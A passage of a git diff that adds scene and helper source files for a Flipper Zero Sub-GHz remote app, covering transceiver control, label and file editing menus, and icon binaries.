instance Pointer to a SubGhzTxRx + * @return SubGhzHopperState + */ +SubGhzHopperState subghz_txrx_hopper_get_state(SubGhzTxRx* instance); + +/** + * Set state hopper + * + * @param instance Pointer to a SubGhzTxRx + * @param state State hopper + */ +void subghz_txrx_hopper_set_state(SubGhzTxRx* instance, SubGhzHopperState state); + +/** + * Unpause hopper + * + * @param instance Pointer to a SubGhzTxRx + */ +void subghz_txrx_hopper_unpause(SubGhzTxRx* instance); + +/** + * Set pause hopper + * + * @param instance Pointer to a SubGhzTxRx + */ +void subghz_txrx_hopper_pause(SubGhzTxRx* instance); + +/** + * Speaker on + * + * @param instance Pointer to a SubGhzTxRx + */ +void subghz_txrx_speaker_on(SubGhzTxRx* instance); + +/** + * Speaker off + * + * @param instance Pointer to a SubGhzTxRx + */ +void subghz_txrx_speaker_off(SubGhzTxRx* instance); + +/** + * Speaker mute + * + * @param instance Pointer to a SubGhzTxRx + */ +void subghz_txrx_speaker_mute(SubGhzTxRx* instance); + +/** + * Speaker unmute + * + * @param instance Pointer to a SubGhzTxRx + */ +void subghz_txrx_speaker_unmute(SubGhzTxRx* instance); + +/** + * Set state speaker + * + * @param instance Pointer to a SubGhzTxRx + * @param state State speaker + */ +void subghz_txrx_speaker_set_state(SubGhzTxRx* instance, SubGhzSpeakerState state); + +/** + * Get state speaker + * + * @param instance Pointer to a SubGhzTxRx + * @return SubGhzSpeakerState + */ +SubGhzSpeakerState subghz_txrx_speaker_get_state(SubGhzTxRx* instance); + +/** + * load decoder by name protocol + * + * @param instance Pointer to a SubGhzTxRx + * @param name_protocol Name protocol + * @return bool True if the decoder is loaded + */ +bool subghz_txrx_load_decoder_by_name_protocol(SubGhzTxRx* instance, const char* name_protocol); + +/** + * Get decoder + * + * @param instance Pointer to a SubGhzTxRx + * @return SubGhzProtocolDecoderBase* Pointer to a SubGhzProtocolDecoderBase + */ +SubGhzProtocolDecoderBase* subghz_txrx_get_decoder(SubGhzTxRx* instance); + +/** + * Set callback for save data + * + * @param instance Pointer to a SubGhzTxRx + * @param callback Callback for save data + * @param context Context for callback + */ +void subghz_txrx_set_need_save_callback( + SubGhzTxRx* instance, + SubGhzTxRxNeedSaveCallback callback, + void* context); + +/** + * Get pointer to a load data key + * + * @param instance Pointer to a SubGhzTxRx + * @return FlipperFormat* + */ +FlipperFormat* subghz_txrx_get_fff_data(SubGhzTxRx* instance); + +/** + * Get pointer to a SugGhzSetting + * + * @param instance Pointer to a SubGhzTxRx + * @return SubGhzSetting* + */ +SubGhzSetting* subghz_txrx_get_setting(SubGhzTxRx* instance); + +/** + * Is it possible to save this protocol + * + * @param instance Pointer to a SubGhzTxRx + * @return bool True if it is possible to save this protocol + */ +bool subghz_txrx_protocol_is_serializable(SubGhzTxRx* instance); + +/** + * Is it possible to send this protocol + * + * @param instance Pointer to a SubGhzTxRx + * @return bool True if it is possible to send this protocol + */ +bool subghz_txrx_protocol_is_transmittable(SubGhzTxRx* instance, bool check_type); + +/** + * Set filter, what types of decoder to use + * + * @param instance Pointer to a SubGhzTxRx + * @param filter Filter + */ +void subghz_txrx_receiver_set_filter(SubGhzTxRx* instance, SubGhzProtocolFlag filter); + +/** + * Set callback for receive data + * + * @param instance Pointer to a SubGhzTxRx + * @param callback Callback for receive data + * @param context Context for callback + */ +void subghz_txrx_set_rx_calback( + SubGhzTxRx* instance, + SubGhzReceiverCallback callback, + void* context); + +/** + * Set callback for Raw decoder, end of data transfer + * + * @param instance Pointer to a SubGhzTxRx + * @param callback Callback for Raw decoder, end of data transfer + * @param context Context for callback + */ +void subghz_txrx_set_raw_file_encoder_worker_callback_end( + SubGhzTxRx* instance, + SubGhzProtocolEncoderRAWCallbackEnd callback, + void* context); + +void subghz_txrx_set_debug_pin_state(SubGhzTxRx* instance, bool state); +bool subghz_txrx_get_debug_pin_state(SubGhzTxRx* instance); + +SubGhzReceiver* subghz_txrx_get_receiver(SubGhzTxRx* instance); // TODO use only in DecodeRaw diff --git a/applications/external/subghz_remote_new/helpers/txrx/subghz_txrx_i.h b/applications/external/subghz_remote_new/helpers/txrx/subghz_txrx_i.h new file mode 100644 index 000000000..680d27158 --- /dev/null +++ b/applications/external/subghz_remote_new/helpers/txrx/subghz_txrx_i.h @@ -0,0 +1,29 @@ + +#pragma once +#include "subghz_txrx.h" + +struct SubGhzTxRx { + SubGhzWorker* worker; + + SubGhzEnvironment* environment; + SubGhzReceiver* receiver; + SubGhzTransmitter* transmitter; + SubGhzProtocolDecoderBase* decoder_result; + FlipperFormat* fff_data; + + SubGhzRadioPreset* preset; + SubGhzSetting* setting; + + uint8_t hopper_timeout; + uint8_t hopper_idx_frequency; + bool is_database_loaded; + SubGhzHopperState hopper_state; + + SubGhzTxRxState txrx_state; + SubGhzSpeakerState speaker_state; + + SubGhzTxRxNeedSaveCallback need_save_callback; + void* need_save_context; + + bool debug_pin_state; +}; \ No newline at end of file diff --git a/applications/external/subghz_remote_new/icons/DolphinNice_96x59.png b/applications/external/subghz_remote_new/icons/DolphinNice_96x59.png new file mode 100644 index 0000000000000000000000000000000000000000..a299d3630239b4486e249cc501872bed5996df3b GIT binary patch literal 2459 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 + +typedef enum { + SubRemSceneEditLabelStateTextInput, + SubRemSceneEditLabelStateWidget, +} SubRemSceneEditLabelState; + +void subrem_scene_edit_label_text_input_callback(void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + view_dispatcher_send_custom_event( + app->view_dispatcher, SubRemCustomEventSceneEditLabelInputDone); +} + +void subrem_scene_edit_label_widget_callback(GuiButtonType result, InputType type, void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + if((result == GuiButtonTypeCenter) && (type == InputTypeShort)) { + view_dispatcher_send_custom_event( + app->view_dispatcher, SubRemCustomEventSceneEditLabelWidgetAcces); + } else if((result == GuiButtonTypeLeft) && (type == InputTypeShort)) { + view_dispatcher_send_custom_event( + app->view_dispatcher, SubRemCustomEventSceneEditLabelWidgetBack); + } +} + +void subrem_scene_edit_label_on_enter(void* context) { + SubGhzRemoteApp* app = context; + + SubRemSubFilePreset* sub_preset = app->map_preset->subs_preset[app->chusen_sub]; + + FuriString* temp_str = furi_string_alloc(); + + if(furi_string_empty(sub_preset->label)) { + if(furi_string_empty(sub_preset->file_path)) { + path_extract_filename(sub_preset->file_path, temp_str, true); + strcpy(app->file_name_tmp, furi_string_get_cstr(temp_str)); + } else { + strcpy(app->file_name_tmp, ""); + } + } else { + strcpy(app->file_name_tmp, furi_string_get_cstr(sub_preset->label)); + } + + TextInput* text_input = app->text_input; + text_input_set_header_text(text_input, "Label name"); + text_input_set_result_callback( + text_input, + subrem_scene_edit_label_text_input_callback, + app, + app->file_name_tmp, + 25, + false); + + text_input_set_minimum_length(app->text_input, 0); + + widget_add_string_element( + app->widget, 63, 12, AlignCenter, AlignCenter, FontPrimary, "Empty Label Name"); + widget_add_string_element( + app->widget, 63, 32, AlignCenter, AlignCenter, FontSecondary, "Continue?"); + + widget_add_button_element( + app->widget, GuiButtonTypeCenter, "Ok", subrem_scene_edit_label_widget_callback, app); + widget_add_button_element( + app->widget, GuiButtonTypeLeft, "Back", subrem_scene_edit_label_widget_callback, app); + + scene_manager_set_scene_state( + app->scene_manager, SubRemSceneEditLabel, SubRemSceneEditLabelStateTextInput); + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDTextInput); + + furi_string_free(temp_str); +} + +bool subrem_scene_edit_label_on_event(void* context, SceneManagerEvent event) { + SubGhzRemoteApp* app = context; + + FuriString* label = app->map_preset->subs_preset[app->chusen_sub]->label; + + if(event.type == SceneManagerEventTypeBack) { + if(scene_manager_get_scene_state(app->scene_manager, SubRemSceneEditLabel) == + SubRemSceneEditLabelStateWidget) { + scene_manager_set_scene_state( + app->scene_manager, SubRemSceneEditLabel, SubRemSceneEditLabelStateTextInput); + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDTextInput); + return true; + } else if( + scene_manager_get_scene_state(app->scene_manager, SubRemSceneEditLabel) == + SubRemSceneEditLabelStateTextInput) { + scene_manager_previous_scene(app->scene_manager); + return true; + } + + scene_manager_previous_scene(app->scene_manager); + return true; + } else if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubRemCustomEventSceneEditLabelInputDone) { + if(strcmp(app->file_name_tmp, "") == 0) { + scene_manager_set_scene_state( + app->scene_manager, SubRemSceneEditLabel, SubRemSceneEditLabelStateWidget); + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDWidget); + + } else { + furi_string_set(label, app->file_name_tmp); + app->map_not_saved = true; + scene_manager_previous_scene(app->scene_manager); + } + return true; + } else if(event.event == SubRemCustomEventSceneEditLabelWidgetAcces) { + furi_string_set(label, app->file_name_tmp); + app->map_not_saved = true; + scene_manager_previous_scene(app->scene_manager); + + return true; + } else if(event.event == SubRemCustomEventSceneEditLabelWidgetBack) { + scene_manager_set_scene_state( + app->scene_manager, SubRemSceneEditLabel, SubRemSceneEditLabelStateTextInput); + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDTextInput); + + return true; + } + } + return false; +} + +void subrem_scene_edit_label_on_exit(void* context) { + SubGhzRemoteApp* app = context; + + // Clear view + text_input_reset(app->text_input); + widget_reset(app->widget); +} diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_edit_menu.c b/applications/external/subghz_remote_new/scenes/subrem_scene_edit_menu.c new file mode 100644 index 000000000..a8882009a --- /dev/null +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_edit_menu.c @@ -0,0 +1,123 @@ +#include "../subghz_remote_app_i.h" + +void subrem_scene_edit_menu_callback(SubRemCustomEvent event, void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, event); +} + +void subrem_scene_edit_menu_widget_callback(GuiButtonType result, InputType type, void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + if((result == GuiButtonTypeRight) && (type == InputTypeShort)) { + app->map_not_saved = false; + view_dispatcher_send_custom_event(app->view_dispatcher, SubRemCustomEventViewEditMenuBack); + } else if((result == GuiButtonTypeLeft) && (type == InputTypeShort)) { + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDEditMenu); + } +} + +static uint8_t subrem_scene_edit_menu_state_to_index(SubRemEditMenuState event_id) { + uint8_t ret = 0; + + if(event_id == SubRemEditMenuStateUP) { + ret = SubRemSubKeyNameUp; + } else if(event_id == SubRemEditMenuStateDOWN) { + ret = SubRemSubKeyNameDown; + } else if(event_id == SubRemEditMenuStateLEFT) { + ret = SubRemSubKeyNameLeft; + } else if(event_id == SubRemEditMenuStateRIGHT) { + ret = SubRemSubKeyNameRight; + } else if(event_id == SubRemEditMenuStateOK) { + ret = SubRemSubKeyNameOk; + } + + return ret; +} + +static void subrem_scene_edit_menu_update_data(SubGhzRemoteApp* app) { + furi_assert(app); + uint8_t index = subrem_scene_edit_menu_state_to_index( + scene_manager_get_scene_state(app->scene_manager, SubRemSceneEditMenu)); + + subrem_view_edit_menu_add_data_to_show( + app->subrem_edit_menu, + index, + app->map_preset->subs_preset[index]->label, + app->map_preset->subs_preset[index]->file_path, + app->map_preset->subs_preset[index]->load_state); +} + +void subrem_scene_edit_menu_on_enter(void* context) { + SubGhzRemoteApp* app = context; + + subrem_view_edit_menu_set_callback( + app->subrem_edit_menu, subrem_scene_edit_menu_callback, app); + + subrem_scene_edit_menu_update_data(app); + + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDEditMenu); + + Widget* widget = app->widget; + + widget_add_string_element( + widget, 63, 12, AlignCenter, AlignBottom, FontPrimary, "Changes are not saved"); + widget_add_string_element( + widget, 63, 32, AlignCenter, AlignBottom, FontPrimary, "do you want to exit?"); + + widget_add_button_element( + widget, GuiButtonTypeRight, "Yes", subrem_scene_edit_menu_widget_callback, app); + widget_add_button_element( + widget, GuiButtonTypeLeft, "No", subrem_scene_edit_menu_widget_callback, app); +} + +bool subrem_scene_edit_menu_on_event(void* context, SceneManagerEvent event) { + SubGhzRemoteApp* app = context; + + if(event.type == SceneManagerEventTypeBack) { + // Catch widget backEvent + return true; + } + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubRemCustomEventViewEditMenuBack) { + if(app->map_not_saved) { + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDWidget); + } else if(!scene_manager_search_and_switch_to_previous_scene( + app->scene_manager, SubRemSceneStart)) { + scene_manager_stop(app->scene_manager); + view_dispatcher_stop(app->view_dispatcher); + } + + return true; + } else if( + event.event == SubRemCustomEventViewEditMenuUP || + event.event == SubRemCustomEventViewEditMenuDOWN) { + scene_manager_set_scene_state( + app->scene_manager, + SubRemSceneEditMenu, + subrem_view_edit_menu_get_index(app->subrem_edit_menu)); + subrem_scene_edit_menu_update_data(app); + + return true; + } else if(event.event == SubRemCustomEventViewEditMenuEdit) { + app->chusen_sub = subrem_view_edit_menu_get_index(app->subrem_edit_menu); + scene_manager_set_scene_state( + app->scene_manager, SubRemSceneEditSubMenu, EditSubmenuIndexEditLabel); + scene_manager_next_scene(app->scene_manager, SubRemSceneEditSubMenu); + + return true; + } else if(event.event == SubRemCustomEventViewEditMenuSave) { + scene_manager_next_scene(app->scene_manager, SubRemSceneEditPreview); + + return true; + } + } + + return false; +} + +void subrem_scene_edit_menu_on_exit(void* context) { + SubGhzRemoteApp* app = context; + widget_reset(app->widget); +} diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_edit_preview.c b/applications/external/subghz_remote_new/scenes/subrem_scene_edit_preview.c new file mode 100644 index 000000000..98a423202 --- /dev/null +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_edit_preview.c @@ -0,0 +1,74 @@ +#include "../subghz_remote_app_i.h" +#include "../views/remote.h" + +#define TAG "SubRemScenRemote" + +void subghz_scene_edit_preview_save_popup_callback(void* context) { + SubGhzRemoteApp* app = context; + view_dispatcher_send_custom_event( + app->view_dispatcher, SubRemCustomEventSceneEditPreviewSaved); +} + +void subrem_scene_edit_preview_callback(SubRemCustomEvent event, void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, event); +} + +void subrem_scene_edit_preview_on_enter(void* context) { + SubGhzRemoteApp* app = context; + + // Setup view + Popup* popup = app->popup; + popup_set_icon(popup, 32, 5, &I_DolphinNice_96x59); + popup_set_header(popup, "Saved!", 13, 22, AlignLeft, AlignBottom); + popup_set_timeout(popup, 1500); + popup_set_context(popup, app); + popup_set_callback(popup, subghz_scene_edit_preview_save_popup_callback); + popup_enable_timeout(popup); + + subrem_view_remote_update_data_labels(app->subrem_remote_view, app->map_preset->subs_preset); + subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateOFF, 0); + + subrem_view_remote_set_callback( + app->subrem_remote_view, subrem_scene_edit_preview_callback, app); + + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDRemote); +} + +bool subrem_scene_edit_preview_on_event(void* context, SceneManagerEvent event) { + SubGhzRemoteApp* app = context; + + if(event.type == SceneManagerEventTypeBack || + (event.type == SceneManagerEventTypeCustom && + (event.event == SubRemCustomEventViewRemoteStartLEFT || + event.event == SubRemCustomEventViewRemoteForcedStop))) { + scene_manager_previous_scene(app->scene_manager); + return true; + } else if( + event.type == SceneManagerEventTypeCustom && + (event.event == SubRemCustomEventViewRemoteStartRIGHT || + event.event == SubRemCustomEventViewRemoteStartOK)) { + if(subrem_save_map_to_file(app)) { + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDPopup); + app->map_not_saved = false; + return true; + } + // TODO error screen + return true; + } else if( + event.type == SceneManagerEventTypeCustom && + event.event == SubRemCustomEventSceneEditPreviewSaved) { + scene_manager_search_and_switch_to_previous_scene(app->scene_manager, SubRemSceneEditMenu); + } + // } else if(event.type == SceneManagerEventTypeTick) { + // } + return false; +} + +void subrem_scene_edit_preview_on_exit(void* context) { + SubGhzRemoteApp* app = context; + + subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle, 0); + popup_reset(app->popup); +} diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_edit_submenu.c b/applications/external/subghz_remote_new/scenes/subrem_scene_edit_submenu.c new file mode 100644 index 000000000..447beb96d --- /dev/null +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_edit_submenu.c @@ -0,0 +1,54 @@ +#include "../subghz_remote_app_i.h" +#include "../helpers/subrem_custom_event.h" + +void subrem_scene_edit_submenu_text_input_callback(void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, SubRemCustomEventSceneEditsubmenu); +} + +void subrem_scene_edit_submenu_callback(void* context, uint32_t index) { + furi_assert(context); + SubGhzRemoteApp* app = context; + + view_dispatcher_send_custom_event(app->view_dispatcher, index); +} + +void subrem_scene_edit_submenu_on_enter(void* context) { + furi_assert(context); + + SubGhzRemoteApp* app = context; + Submenu* submenu = app->submenu; + submenu_add_item( + submenu, "Edit Label", EditSubmenuIndexEditLabel, subrem_scene_edit_submenu_callback, app); + submenu_add_item( + submenu, "Edit File", EditSubmenuIndexEditFile, subrem_scene_edit_submenu_callback, app); + + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDSubmenu); +} + +bool subrem_scene_edit_submenu_on_event(void* context, SceneManagerEvent event) { + furi_assert(context); + + SubGhzRemoteApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == EditSubmenuIndexEditLabel) { + scene_manager_next_scene(app->scene_manager, SubRemSceneEditLabel); + consumed = true; + } else if(event.event == EditSubmenuIndexEditFile) { + scene_manager_next_scene(app->scene_manager, SubRemSceneOpenSubFile); + consumed = true; + } + } + + return consumed; +} + +void subrem_scene_edit_submenu_on_exit(void* context) { + furi_assert(context); + + SubGhzRemoteApp* app = context; + submenu_reset(app->submenu); +} diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_enter_new_name.c b/applications/external/subghz_remote_new/scenes/subrem_scene_enter_new_name.c new file mode 100644 index 000000000..d33e070af --- /dev/null +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_enter_new_name.c @@ -0,0 +1,71 @@ +#include "../subghz_remote_app_i.h" +#include "../helpers/subrem_custom_event.h" + +#include + +void subrem_scene_enter_new_name_text_input_callback(void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, SubRemCustomEventSceneNewName); +} + +void subrem_scene_enter_new_name_on_enter(void* context) { + SubGhzRemoteApp* app = context; + + // Setup view + TextInput* text_input = app->text_input; + bool dev_name_empty = false; + + strncpy(app->file_name_tmp, "subrem_", SUBREM_MAX_LEN_NAME); + text_input_set_header_text(text_input, "Map file Name"); + text_input_set_result_callback( + text_input, + subrem_scene_enter_new_name_text_input_callback, + app, + app->file_name_tmp, + 25, + dev_name_empty); + + ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( + furi_string_get_cstr(app->file_path), SUBREM_APP_EXTENSION, ""); + text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); + + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDTextInput); +} + +bool subrem_scene_enter_new_name_on_event(void* context, SceneManagerEvent event) { + furi_assert(context); + + SubGhzRemoteApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubRemCustomEventSceneNewName) { + if(strcmp(app->file_name_tmp, "") != 0) { + furi_string_set(app->file_path, SUBREM_APP_FOLDER); + furi_string_cat_printf( + app->file_path, "/%s%s", app->file_name_tmp, SUBREM_APP_EXTENSION); + + subrem_map_preset_reset(app->map_preset); + scene_manager_next_scene(app->scene_manager, SubRemSceneEditMenu); + } else { //error + } + consumed = true; + } + } + + return consumed; +} + +void subrem_scene_enter_new_name_on_exit(void* context) { + furi_assert(context); + + SubGhzRemoteApp* app = context; + submenu_reset(app->submenu); + + // Clear validator & view + void* validator_context = text_input_get_validator_callback_context(app->text_input); + text_input_set_validator(app->text_input, NULL, NULL); + validator_is_file_free(validator_context); + text_input_reset(app->text_input); +} diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_open_map_file.c b/applications/external/subghz_remote_new/scenes/subrem_scene_open_map_file.c new file mode 100644 index 000000000..77f2d2d56 --- /dev/null +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_open_map_file.c @@ -0,0 +1,29 @@ +#include "../subghz_remote_app_i.h" + +void subrem_scene_open_map_file_on_enter(void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + + SubRemLoadMapState load_state = subrem_load_from_file(app); + uint32_t start_scene_state = + scene_manager_get_scene_state(app->scene_manager, SubRemSceneStart); + + // TODO if optimization + + if(load_state == SubRemLoadMapStateBack) { + scene_manager_previous_scene(app->scene_manager); + } else if(start_scene_state == SubmenuIndexSubRemEditMapFile) { + scene_manager_set_scene_state(app->scene_manager, SubRemSceneEditMenu, SubRemSubKeyNameUp); + scene_manager_next_scene(app->scene_manager, SubRemSceneEditMenu); + } +} + +bool subrem_scene_open_map_file_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + UNUSED(event); + return false; +} + +void subrem_scene_open_map_file_on_exit(void* context) { + UNUSED(context); +} diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_open_sub_file.c b/applications/external/subghz_remote_new/scenes/subrem_scene_open_sub_file.c new file mode 100644 index 000000000..75dc21670 --- /dev/null +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_open_sub_file.c @@ -0,0 +1,116 @@ +#include "../subghz_remote_app_i.h" + +void subrem_scene_open_sub_file_error_popup_callback(void* context) { + SubGhzRemoteApp* app = context; + view_dispatcher_send_custom_event( + app->view_dispatcher, SubRemCustomEventSceneEditOpenSubErrorPopup); +} + +SubRemLoadSubState subrem_scene_open_sub_file_dialog(SubGhzRemoteApp* app) { + furi_assert(app); + + SubRemSubFilePreset* sub = app->map_preset->subs_preset[app->chusen_sub]; + + FuriString* temp_file_path = furi_string_alloc_set(sub->file_path); + + SubRemLoadSubState ret = SubRemLoadSubStateNotSet; + + DialogsFileBrowserOptions browser_options; + + dialog_file_browser_set_basic_options(&browser_options, SUBGHZ_APP_EXTENSION, &I_sub1_10px); + browser_options.base_path = SUBGHZ_APP_FOLDER; + + // Input events and views are managed by file_select + if(!dialog_file_browser_show( + app->dialogs, + temp_file_path, + furi_string_empty(temp_file_path) ? NULL : temp_file_path, + &browser_options)) { + } else { + // Check sub file + SubRemSubFilePreset* sub_candidate = subrem_sub_file_preset_alloc(); + furi_string_set(sub_candidate->label, sub->label); + furi_string_set(sub_candidate->file_path, temp_file_path); + + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* fff_file = flipper_format_file_alloc(storage); + + if(flipper_format_file_open_existing( + fff_file, furi_string_get_cstr(sub_candidate->file_path))) { + ret = subrem_sub_preset_load(sub_candidate, app->txrx, fff_file); + } + + flipper_format_file_close(fff_file); + flipper_format_free(fff_file); + furi_record_close(RECORD_STORAGE); + + if(ret == SubRemLoadSubStateOK) { + subrem_sub_file_preset_free(app->map_preset->subs_preset[app->chusen_sub]); + app->map_preset->subs_preset[app->chusen_sub] = sub_candidate; + app->map_not_saved = true; + } else { + subrem_sub_file_preset_free(sub_candidate); + } + } + + furi_string_free(temp_file_path); + + return ret; +} + +void subrem_scene_open_sub_file_on_enter(void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + + SubRemLoadSubState load_state = subrem_scene_open_sub_file_dialog(app); + + Popup* popup = app->popup; + // popup_set_icon(); + popup_set_header(popup, "ERROR", 63, 16, AlignCenter, AlignBottom); + popup_set_timeout(popup, 1500); + popup_set_context(popup, app); + popup_set_callback(popup, subrem_scene_open_sub_file_error_popup_callback); + popup_enable_timeout(popup); + + if(load_state == SubRemLoadSubStateOK) { + scene_manager_previous_scene(app->scene_manager); + } else if(load_state == SubRemLoadSubStateNotSet) { + scene_manager_previous_scene(app->scene_manager); + } else { + switch(load_state) { + case SubRemLoadSubStateErrorFreq: + + popup_set_text(popup, "Bad frequency", 63, 30, AlignCenter, AlignBottom); + break; + case SubRemLoadSubStateErrorMod: + + popup_set_text(popup, "Bad modulation", 63, 30, AlignCenter, AlignBottom); + break; + case SubRemLoadSubStateErrorProtocol: + + popup_set_text(popup, "Unsupported protocol", 63, 30, AlignCenter, AlignBottom); + break; + + default: + break; + } + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDPopup); + } +} + +bool subrem_scene_open_sub_file_on_event(void* context, SceneManagerEvent event) { + SubGhzRemoteApp* app = context; + + if(event.type == SceneManagerEventTypeCustom && + event.event == SubRemCustomEventSceneEditOpenSubErrorPopup) { + scene_manager_previous_scene(app->scene_manager); + return true; + } + return false; +} + +void subrem_scene_open_sub_file_on_exit(void* context) { + SubGhzRemoteApp* app = context; + + popup_reset(app->popup); +} diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c deleted file mode 100644 index 8e6d9d0dd..000000000 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c +++ /dev/null @@ -1,40 +0,0 @@ -#include "../subghz_remote_app_i.h" - -void 